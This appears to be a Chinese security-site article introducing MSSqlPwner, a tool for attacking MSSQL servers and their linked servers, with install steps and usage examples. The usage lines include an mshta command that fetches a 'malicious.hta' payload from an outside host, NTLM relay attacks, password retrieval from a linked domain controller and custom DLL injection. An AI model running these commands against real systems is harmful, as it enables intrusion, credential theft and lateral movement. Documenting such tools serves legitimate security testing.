Alpha_h4ck
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

关于MSSqlPwner
MSSqlPwner是一款功能强大的MSSQL安全测试与评估工具,该工具基于Impacket实现其功能,并且是一款通用测试工具,旨在帮助广大研究人员与MSSQL服务器进行无缝交互,并对MSSQL环境进行全面的安全测试与安全评估。
工具特性
1、MSSqlPwner允许用户通过各种方法执行自定义命令,包括自定义汇编、xp_cmdshell和sp_oacreate(Ole Automation Procedures)等;
2、该工具可以从链接服务器上执行递归枚举任务,并收集所有可能的链;
3、MSSqlPwner工具可用利用xp_dirtree、xp_subdirs、xp_filexist和命令执行等功能实现NTLM中继功能;
4、该工具可以为横向移动评估和利用链接服务器提供机会;
5、如果经过身份验证的MSSQL用户没有执行某些操作的权限,则该工具可以找到可能允许执行的链。例如,它可以向链接服务器发送查询,该服务器则返回具有更高权限的已验证MSSQL服务的链接;
6、该工具还支持通过链接进行递归查询,以从存在漏洞的MSSQL服务指向的无法访问的链接服务器上执行查询和命令;
横向移动和链接服务器利用
MSSqlPwner为横向移动评估和探索链接服务器提供了机会。在当前会话缺乏管理权限的情况下,该工具会尝试找到一个通过链接服务器升级其自身权限的链。如果链接服务器上的会话具有更高的权限,则该工具可以与链接服务器交互并以提升的权限执行回主机的链接查询,从而实现与目标服务器的横向移动。
身份认证方法
当前版本的MSSqlPwner支持多种身份验证方法,其中包括:
1、WIndows凭证;
2、MSSQL凭证;
3、Kerberos身份认证;
4、Kerberos令牌票据;
5、NTLM哈希;
该工具适用于在各种场景和环境中验证身份验证机制的有效性。
借助MSSqlPwner的强大功能和多功能性,可以有效提升MSSQL环境安全评估的等级,并为探索横向移动、隐形查询和精确安全评估提供了新的可能。
工具安装
由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3环境。
接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone git clone https://github.com/ScorpionesLabs/MSSqlPwner
然后切换到项目目录中,使用pip3命令和项目提供的requirements.txt文件安装该工具所需的其他依赖组件:
cd MSSqlPwner pip3 install -r requirements.txt
此时,我们就可以直接使用下列命令执行该工具的启动脚本了:
python3 MSSqlPwner.py
工具使用
工具交互模式:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive
使用windows身份验证在当前服务器上执行自定义汇编程序并执行hostname命令:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
使用windows身份验证在当前服务器上执行自定义汇编程序,并在SRV01链接服务器上执行hostname 命令:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
在链接的SRV01服务器上使执行主机名命令:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
使用sp_oacreate方法在链接的SRV01服务器上执行hostname命令:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
在SRV01服务器上发动NTLM中继攻击:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
针对链ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25发动NTLM中继攻击:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
使用自定义命令在本地服务器山发动NTLM中继攻击:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
执行直接查询:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct_query "SELECT CURRENT_USER"
从链接服务器DC01上检索密码:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
在链接服务器DC01上使用自定义汇编程序执行代码:
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
工具使用样例
项目地址
MSSqlPwner:【GitHub传送门】
参考资料
https://github.com/ScorpionesLabs/MSSqlPwner/blob/main/playbooks/custom-asm/Inject.cs
https://www.linkedin.com/in/kim-d-5b3114111
https://www.tarlogic.com/blog/linked-servers-adsi-passwords/
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)